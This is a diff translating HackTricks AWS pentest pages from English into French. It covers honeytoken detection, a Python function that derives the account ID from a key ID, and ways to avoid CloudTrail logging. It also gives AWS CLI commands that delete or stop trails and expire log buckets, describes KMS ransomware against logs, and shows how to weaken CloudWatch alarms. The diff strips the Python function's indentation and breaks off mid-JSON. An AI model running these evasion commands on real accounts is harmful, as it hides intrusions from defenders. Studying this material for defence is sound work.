-[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
+[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) a quelques règles pour détecter si une clé appartient à [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
 
-- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message.
-  - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name.
-- If **`SpaceCrab`** appears in the role name in the error message
-- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
-- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken.
+- Si **`canarytokens.org`** apparaît dans le nom du rôle ou si l'ID de compte **`534261010715`** apparaît dans le message d'erreur.
+- En les testant plus récemment, ils utilisent le compte **`717712589309`** et ont toujours la chaîne **`canarytokens.com`** dans le nom.
+- Si **`SpaceCrab`** apparaît dans le nom du rôle dans le message d'erreur.
+- **SpaceSiren** utilise des **uuids** pour générer des noms d'utilisateur : `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
+- Si le **nom semble aléatoirement généré**, il y a de fortes probabilités que ce soit un HoneyToken.
 
-#### Get the account ID from the Key ID
-
-You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts:
+#### Obtenir l'ID de compte à partir de l'ID de clé
 
+Vous pouvez obtenir l'**ID de compte** à partir de l'**encodé** à l'intérieur de la **clé d'accès** comme [**expliqué ici**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) et vérifier l'ID de compte avec votre liste de comptes Honeytokens AWS :
 ```python
 import base64
 import binascii
 
 def AWSAccount_from_AWSKeyID(AWSKeyID):
 
-    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
-    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
-    y = x[0:6]
+trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
+x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
+y = x[0:6]
 
-    z = int.from_bytes(y, byteorder='big', signed=False)
-    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
+z = int.from_bytes(y, byteorder='big', signed=False)
+mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
 
-    e = (z & mask)>>7
-    return (e)
+e = (z & mask)>>7
+return (e)
 
 print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
 ```
+Check more information in the [**recherche originale**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
 
-Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
+#### Ne pas générer de journal
 
-#### Do not generate a log
+La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service dans votre propre compte d'attaquant. Cela fera en sorte que **CloudTrail génère un journal dans VOTRE PROPRE compte AWS et non dans celui des victimes**.
 
-The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**.
+Le fait est que la sortie vous montrera une erreur indiquant l'ID du compte et le nom du compte, donc **vous pourrez voir si c'est un Honeytoken**.
 
-The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**.
+#### Services AWS sans journaux
 
-#### AWS services without logs
+Dans le passé, il y avait certains **services AWS qui n'envoient pas de journaux à CloudTrail** (trouvez une [liste ici](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Certains de ces services **répondront** avec une **erreur** contenant l'**ARN du rôle de clé** si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.
 
-In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it.
-
-This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken.
+De cette manière, un **attaquant peut obtenir l'ARN de la clé sans déclencher aucun journal**. Dans l'ARN, l'attaquant peut voir l'**ID de compte AWS et le nom**, il est facile de connaître l'ID et les noms des comptes des entreprises HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.
 
 ![](<../../../../images/image (93).png>)
 
 > [!CAUTION]
-> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own...
+> Notez que toutes les API publiques découvertes ne créant pas de journaux CloudTrail sont maintenant corrigées, donc vous devrez peut-être trouver les vôtres...
 >
-> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
+> Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
 
-### Accessing Third Infrastructure
+### Accéder à une infrastructure tierce
 
-Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication.
+Certains services AWS **généreront une infrastructure** telle que des **bases de données** ou des **clusters Kubernetes** (EKS). Un utilisateur **parlant directement à ces services** (comme l'API Kubernetes) **n'utilisera pas l'API AWS**, donc CloudTrail ne pourra pas voir cette communication.
 
-Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**.
+Par conséquent, un utilisateur ayant accès à EKS qui a découvert l'URL de l'API EKS pourrait générer un token localement et **parler directement au service API sans être détecté par Cloudtrail**.
 
-More info in:
+Plus d'infos dans :
 
 {{#ref}}
 ../../aws-post-exploitation/aws-eks-post-exploitation.md
 {{#endref}}
 
-### Modifying CloudTrail Config
-
-#### Delete trails
+### Modification de la configuration de CloudTrail
 
+#### Supprimer les pistes
 ```bash
 aws cloudtrail delete-trail --name [trail-name]
 ```
-
-#### Stop trails
-
+#### Arrêter les pistes
 ```bash
 aws cloudtrail stop-logging --name [trail-name]
 ```
-
-#### Disable multi-region logging
-
+#### Désactiver la journalisation multi-région
 ```bash
 aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
 ```
-
-#### Disable Logging by Event Selectors
-
+#### Désactiver la journalisation par sélecteurs d'événements
 ```bash
 # Leave only the ReadOnly selector
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
@@ -251,49 +236,42 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
 # Remove all selectors (stop Insights)
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
 ```
+Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le `"ReadWriteType": "ReadOnly"` indique que **le sélecteur d'événements ne doit capturer que les événements en lecture seule** (donc les insights de CloudTrail **ne vérifieront pas les** événements d'écriture par exemple).
 
-In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example).
-
-You can customize the event selector based on your specific requirements.
-
-#### Logs deletion via S3 lifecycle policy
+Vous pouvez personnaliser le sélecteur d'événements en fonction de vos exigences spécifiques.
 
+#### Suppression des journaux via la politique de cycle de vie S3
 ```bash
 aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
 ```
+### Modification de la configuration du bucket
 
-### Modifying Bucket Configuration
+- Supprimer le bucket S3
+- Changer la politique du bucket pour interdire toute écriture du service CloudTrail
+- Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets
+- Désactiver la clé KMS utilisée pour chiffrer les journaux CloudTrail
 
-- Delete the S3 bucket
-- Change bucket policy to deny any writes from the CloudTrail service
-- Add lifecycle policy to S3 bucket to delete objects
-- Disable the kms key used to encrypt the CloudTrail logs
+### Ransomware Cloudtrail
 
-### Cloudtrail ransomware
+#### Ransomware S3
 
-#### S3 ransomware
-
-You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\
-This is basically a **S3-KMS ransomware** explained in:
+Vous pourriez **générer une clé asymétrique** et faire en sorte que **CloudTrail chiffre les données** avec cette clé et **supprimer la clé privée** afin que le contenu de CloudTrail ne puisse pas être récupéré.\
+C'est essentiellement un **ransomware S3-KMS** expliqué dans :
 
 {{#ref}}
 ../../aws-post-exploitation/aws-s3-post-exploitation.md
 {{#endref}}
 
-**KMS ransomware**
+**Ransomware KMS**
 
-This is an easiest way to perform the previous attack with different permissions requirements:
+C'est la manière la plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes :
 
 {{#ref}}
 ../../aws-post-exploitation/aws-kms-post-exploitation.md
 {{#endref}}
 
-## **References**
+## **Références**
 
 - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 0c790b881..30e5bcb83 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -4,143 +4,142 @@
 
 ## CloudWatch
 
-**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\
-CloudWatch Log Event have a **size limitation of 256KB on each log line**.\
-It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications.
+**CloudWatch** **collecte** des données de surveillance et opérationnelles sous forme de journaux/métriques/événements fournissant une **vue unifiée des ressources AWS**, des applications et des services.\
+Les événements de journal CloudWatch ont une **limite de taille de 256 Ko par ligne de journal**.\
+Il peut définir des **alarms à haute résolution**, visualiser **les journaux** et **les métriques** côte à côte, prendre des actions automatisées, résoudre des problèmes et découvrir des insights pour optimiser les applications.
 
-You can monitor for example logs from CloudTrail. Events that are monitored:
+Vous pouvez surveiller par exemple les journaux de CloudTrail. Les événements qui sont surveillés :
 
-- Changes to Security Groups and NACLs
-- Starting, Stopping, rebooting and terminating EC2 instances
-- Changes to Security Policies within IAM and S3
-- Failed login attempts to the AWS Management Console
-- API calls that resulted in failed authorization
-- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
+- Changements dans les groupes de sécurité et les NACL
+- Démarrage, arrêt, redémarrage et terminaison des instances EC2
+- Changements dans les politiques de sécurité au sein d'IAM et S3
+- Tentatives de connexion échouées à la console de gestion AWS
+- Appels API ayant entraîné un échec d'autorisation
+- Filtres pour rechercher dans CloudWatch : [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
 
-## Key concepts
+## Concepts clés
 
-### Namespaces
+### Espaces de noms
 
-A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them.
+Un espace de noms est un conteneur pour les métriques CloudWatch. Il aide à catégoriser et à isoler les métriques, facilitant ainsi leur gestion et leur analyse.
 
-- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics.
+- **Exemples** : AWS/EC2 pour les métriques liées à EC2, AWS/RDS pour les métriques RDS.
 
-### Metrics
+### Métriques
 
-Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations.
+Les métriques sont des points de données collectés au fil du temps qui représentent la performance ou l'utilisation des ressources AWS. Les métriques peuvent être collectées à partir des services AWS, des applications personnalisées ou des intégrations tierces.
 
-- **Example**: CPUUtilization, NetworkIn, DiskReadOps.
+- **Exemple** : CPUUtilization, NetworkIn, DiskReadOps.
 
 ### Dimensions
 
-Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes.
+Les dimensions sont des paires clé-valeur qui font partie des métriques. Elles aident à identifier de manière unique une métrique et fournissent un contexte supplémentaire, avec un maximum de 30 dimensions pouvant être associées à une métrique. Les dimensions permettent également de filtrer et d'agréger les métriques en fonction d'attributs spécifiques.
 
-- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone.
+- **Exemple** : Pour les instances EC2, les dimensions peuvent inclure InstanceId, InstanceType et AvailabilityZone.
 
-### Statistics
+### Statistiques
 
-Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount.
+Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et SampleCount.
 
-- **Example**: Calculating the average CPU utilization over a period of one hour.
+- **Exemple** : Calculer la moyenne d'utilisation du CPU sur une période d'une heure.
 
-### Units
+### Unités
 
-Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count.
+Les unités sont le type de mesure associé à une métrique. Les unités aident à fournir un contexte et une signification aux données de métriques. Les unités courantes incluent Pourcentage, Octets, Secondes, Compte.
 
-- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes.
+- **Exemple** : CPUUtilization peut être mesuré en Pourcentage, tandis que NetworkIn peut être mesuré en Octets.
 
-## CloudWatch Features
+## Fonctionnalités de CloudWatch
 
-### Dashboard
+### Tableau de bord
 
-**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services.
+**Les tableaux de bord CloudWatch** fournissent des **vues personnalisables de vos métriques AWS CloudWatch**. Il est possible de créer et de configurer des tableaux de bord pour visualiser des données et surveiller des ressources dans une seule vue, combinant différentes métriques de divers services AWS.
 
-**Key Features**:
+**Fonctionnalités clés** :
 
-- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more.
-- **Customization**: Layout and content can be customized to fit specific monitoring needs.
+- **Widgets** : Éléments constitutifs des tableaux de bord, y compris des graphiques, du texte, des alarmes, et plus encore.
+- **Personnalisation** : La mise en page et le contenu peuvent être personnalisés pour répondre à des besoins de surveillance spécifiques.
 
-**Example Use Case**:
+**Exemple de cas d'utilisation** :
 
-- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets.
+- Un tableau de bord unique affichant les métriques clés pour l'ensemble de votre environnement AWS, y compris les instances EC2, les bases de données RDS et les compartiments S3.
 
-### Metric Stream and Metric Data
+### Flux de métriques et données de métriques
 
-**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS.
+**Les flux de métriques** dans AWS CloudWatch vous permettent de diffuser en continu les métriques CloudWatch vers une destination de votre choix en quasi temps réel. Cela est particulièrement utile pour la surveillance avancée, l'analyse et les tableaux de bord personnalisés utilisant des outils en dehors d'AWS.
 
-**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources.
+**Les données de métriques** à l'intérieur des flux de métriques font référence aux mesures réelles ou aux points de données qui sont diffusés. Ces points de données représentent diverses métriques comme l'utilisation du CPU, l'utilisation de la mémoire, etc., pour les ressources AWS.
 
-**Example Use Case**:
+**Exemple de cas d'utilisation** :
 
-- Sending real-time metrics to a third-party monitoring service for advanced analysis.
-- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance.
+- Envoi de métriques en temps réel à un service de surveillance tiers pour une analyse avancée.
+- Archivage des métriques dans un compartiment Amazon S3 pour un stockage à long terme et la conformité.
 
-### Alarm
+### Alarme
 
-**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function.
+**Les alarmes CloudWatch** surveillent vos métriques et effectuent des actions basées sur des seuils prédéfinis. Lorsqu'une métrique dépasse un seuil, l'alarme peut effectuer une ou plusieurs actions telles que l'envoi de notifications via SNS, le déclenchement d'une politique d'auto-scaling ou l'exécution d'une fonction AWS Lambda.
 
-**Key Components**:
+**Composants clés** :
 
-- **Threshold**: The value at which the alarm triggers.
-- **Evaluation Periods**: The number of periods over which data is evaluated.
-- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm
-- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS).
+- **Seuil** : La valeur à laquelle l'alarme se déclenche.
+- **Périodes d'évaluation** : Le nombre de périodes sur lesquelles les données sont évaluées.
+- **Points de données à alerter** : Le nombre de périodes avec un seuil atteint nécessaire pour déclencher l'alarme.
+- **Actions** : Ce qui se passe lorsqu'un état d'alarme est déclenché (par exemple, notifier via SNS).
 
-**Example Use Case**:
+**Exemple de cas d'utilisation** :
 
-- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes.
+- Surveiller l'utilisation du CPU des instances EC2 et envoyer une notification via SNS si elle dépasse 80 % pendant 5 minutes consécutives.
 
-### Anomaly Detectors
+### Détecteurs d'anomalies
 
-**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues.
+**Les détecteurs d'anomalies** utilisent l'apprentissage automatique pour détecter automatiquement les anomalies dans vos métriques. Vous pouvez appliquer la détection d'anomalies à n'importe quelle métrique CloudWatch pour identifier les écarts par rapport aux modèles normaux qui pourraient indiquer des problèmes.
 
-**Key Components**:
+**Composants clés** :
 
-- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like.
-- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric.
+- **Entraînement du modèle** : CloudWatch utilise des données historiques pour entraîner un modèle et établir à quoi ressemble un comportement normal.
+- **Bande de détection d'anomalies** : Une représentation visuelle de la plage de valeurs attendue pour une métrique.
 
-**Example Use Case**:
+**Exemple de cas d'utilisation** :
 
-- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue.
+- Détecter des modèles d'utilisation du CPU inhabituels dans une instance EC2 qui pourraient indiquer une violation de sécurité ou un problème d'application.
 
-### Insight Rules and Managed Insight Rules
+### Règles d'insight et règles d'insight gérées
 
-**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization.
+**Les règles d'insight** vous permettent d'identifier des tendances, de détecter des pics ou d'autres modèles d'intérêt dans vos données de métriques en utilisant **des expressions mathématiques puissantes** pour définir les conditions sous lesquelles des actions doivent être prises. Ces règles peuvent vous aider à identifier des anomalies ou des comportements inhabituels dans la performance et l'utilisation de vos ressources.
 
-**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration.
+**Les règles d'insight gérées** sont des **règles d'insight préconfigurées fournies par AWS**. Elles sont conçues pour surveiller des services AWS spécifiques ou des cas d'utilisation courants et peuvent être activées sans nécessiter de configuration détaillée.
 
-**Example Use Case**:
+**Exemple de cas d'utilisation** :
 
-- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action.
+- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille les indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les I/O disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée.
 
-### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
+### Journaux CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
 
-Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported.
+Permet de **regrouper et de surveiller les journaux des applications** et des systèmes des **services AWS** (y compris CloudTrail) et **des applications/systèmes** (**L'agent CloudWatch** peut être installé sur un hôte). Les journaux peuvent être **stockés indéfiniment** (selon les paramètres du groupe de journaux) et peuvent être exportés.
 
-**Elements**:
+**Éléments** :
 
-| **Log Group**            | A **collection of log streams** that share the same retention, monitoring, and access control settings                                                     |
+| **Groupe de journaux**   | Une **collection de flux de journaux** partageant les mêmes paramètres de conservation, de surveillance et de contrôle d'accès                                   |
 | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Log Stream**           | A sequence of **log events** that share the **same source**                                                                                                |
-| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function |
+| **Flux de journaux**     | Une séquence d'**événements de journaux** partageant la **même source**                                                                                  |
+| **Filtres d'abonnement** | Définissent un **modèle de filtre qui correspond aux événements** dans un groupe de journaux particulier, les envoient à un flux Kinesis Data Firehose, un flux Kinesis ou une fonction Lambda |
 
-### CloudWatch Monitoring & Events
+### Surveillance et événements CloudWatch
 
-CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\
-In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams)
+CloudWatch **de base** agrège les données **toutes les 5 minutes** (la **détaillée** le fait **toutes les 1 minute**). Après l'agrégation, il **vérifie les seuils des alarmes** au cas où il faudrait en déclencher une.\
+Dans ce cas, CloudWatch peut être préparé à envoyer un événement et à effectuer certaines actions automatiques (fonctions AWS Lambda, sujets SNS, files d'attente SQS, flux Kinesis)
 
-### Agent Installation
+### Installation de l'agent
 
-You can install agents inside your machines/containers to automatically send the logs back to CloudWatch.
+Vous pouvez installer des agents à l'intérieur de vos machines/conteneurs pour envoyer automatiquement les journaux à CloudWatch.
 
-- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
-- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage
-- **Configure** and **start** the CloudWatch Agent
+- **Créer** un **rôle** et **l'attacher** à l'**instance** avec des autorisations permettant à CloudWatch de collecter des données des instances en plus d'interagir avec AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **Télécharger** et **installer** l'**agent** sur l'instance EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Vous pouvez le télécharger depuis l'intérieur de l'EC2 ou l'installer automatiquement en utilisant AWS Systems Manager en sélectionnant le package AWS-ConfigureAWSPackage
+- **Configurer** et **démarrer** l'agent CloudWatch
 
-A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order.
-
-## Enumeration
+Un groupe de journaux a plusieurs flux. Un flux a plusieurs événements. Et à l'intérieur de chaque flux, les événements sont garantis d'être dans l'ordre.
 
+## Énumération
 ```bash
 # Dashboards #
 
@@ -213,250 +212,217 @@ aws events describe-event-source --name <name>aws events list-replays
 aws events list-api-destinations
 aws events list-event-buses
 ```
-
 ## Post-Exploitation / Bypass
 
 ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
 
-An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents.
-
-In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete.
+Un attaquant avec ces permissions pourrait considérablement compromettre l'infrastructure de surveillance et d'alerte d'une organisation. En supprimant des alarmes existantes, un attaquant pourrait désactiver des alertes cruciales qui notifient les administrateurs de problèmes de performance critiques, de violations de sécurité ou de pannes opérationnelles. De plus, en créant ou en modifiant des alarmes métriques, l'attaquant pourrait également induire les administrateurs en erreur avec de fausses alertes ou faire taire des alarmes légitimes, masquant ainsi efficacement des activités malveillantes et empêchant des réponses rapides à des incidents réels.
 
+De plus, avec la permission **`cloudwatch:PutCompositeAlarm`**, un attaquant serait en mesure de créer une boucle ou un cycle d'alarmes composites, où l'alarme composite A dépend de l'alarme composite B, et l'alarme composite B dépend également de l'alarme composite A. Dans ce scénario, il n'est pas possible de supprimer une alarme composite qui fait partie du cycle car il y a toujours une alarme composite qui dépend de cette alarme que vous souhaitez supprimer.
 ```bash
 aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
 aws cloudwatch delete-alarms --alarm-names <value>
 aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
 ```
+L'exemple suivant montre comment rendre une alarme de métrique inefficace :
 
-The following example shows how to make a metric alarm ineffective:
-
-- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic.
-- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm.
+- Cette alarme de métrique surveille l'utilisation moyenne du CPU d'une instance EC2 spécifique, évalue la métrique toutes les 300 secondes et nécessite 6 périodes d'évaluation (30 minutes au total). Si l'utilisation moyenne du CPU dépasse 60 % pendant au moins 4 de ces périodes, l'alarme se déclenchera et enverra une notification au sujet SNS spécifié.
+- En modifiant le seuil pour qu'il soit supérieur à 99 %, en réglant la période à 10 secondes, les périodes d'évaluation à 8640 (puisque 8640 périodes de 10 secondes équivalent à 1 jour), et les points de données à alarme à 8640 également, il serait nécessaire que l'utilisation du CPU soit supérieure à 99 % toutes les 10 secondes pendant toute la période de 24 heures pour déclencher une alarme.
 
 {{#tabs }}
 {{#tab name="Original Metric Alarm" }}
-
 ```json
 {
-  "Namespace": "AWS/EC2",
-  "MetricName": "CPUUtilization",
-  "Dimensions": [
-    {
-      "Name": "InstanceId",
-      "Value": "i-01234567890123456"
-    }
-  ],
-  "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"],
-  "ComparisonOperator": "GreaterThanThreshold",
-  "DatapointsToAlarm": 4,
-  "EvaluationPeriods": 6,
-  "Period": 300,
-  "Statistic": "Average",
-  "Threshold": 60,
-  "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%",
-  "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization"
+"Namespace": "AWS/EC2",
+"MetricName": "CPUUtilization",
+"Dimensions": [
+{
+"Name": "InstanceId",
